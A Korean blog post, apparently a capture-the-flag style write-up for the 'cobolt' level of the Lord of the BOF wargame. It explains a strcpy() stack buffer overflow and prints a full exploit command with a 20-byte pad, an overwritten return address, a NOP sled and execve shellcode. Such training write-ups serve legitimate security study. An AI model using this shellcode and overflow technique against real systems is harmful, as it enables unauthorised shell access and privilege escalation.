본문 바로가기
Wargame/The Lord of the BOF

LOB - 02 cobolt

by morae23 2019. 2. 1.

[cobolt - small buffer]

gremlin : hello bof world


먼저 cobolt.c의 코드는 아래와 같다.




코드를 보면 크기가 16인 버퍼에 strcpy()를 하는 것을 볼 수 있다.

이 때, 버퍼의 크기를 고려하지 않고 복사하기 때문에


20바이트를 덮으면 eip를 바꿀 수 있다.

20바이트에 쉘코드를 담기에는 버퍼가 작기 때문에 eip 뒤쪽에 쉘코드를 넣어 보았다.


따라서 A를 20개 채우고, eip 자리에 우선 B를 넣어둔 뒤

\x90을 100개 정도 쓴 뒤에 쉘코드를 넣었다.


./aaaaaa `python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


이번에도 eip에 넣을 주소를 찾기 위해 core 파일을 열어 스택 값을 확인하였다.




아래쪽을 보면, A와 B가 차례로 나온 뒤

0x90이 이어지고 그 뒤에 쉘코드가 위치한 것을 볼 수 있다.


0x90 사이의 적당한 곳의 주소인 0xbffffd70으로 eip를 덮었다.


./cobolt `python -c 'print "A"*20 + "\x70\xfd\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`




'Wargame > The Lord of the BOF' 카테고리의 다른 글

LOB - 04 orc  (0) 2019.02.01
LOB - 03 goblin  (0) 2019.02.01
LOB - 01 gremlin - (3)마무리  (0) 2019.02.01
LOB - 01 gremlin - (2.2)쉘코드 수정  (0) 2019.02.01
LOB - 01 gremlin - (2.1)쉘코드 작성  (0) 2019.02.01

댓글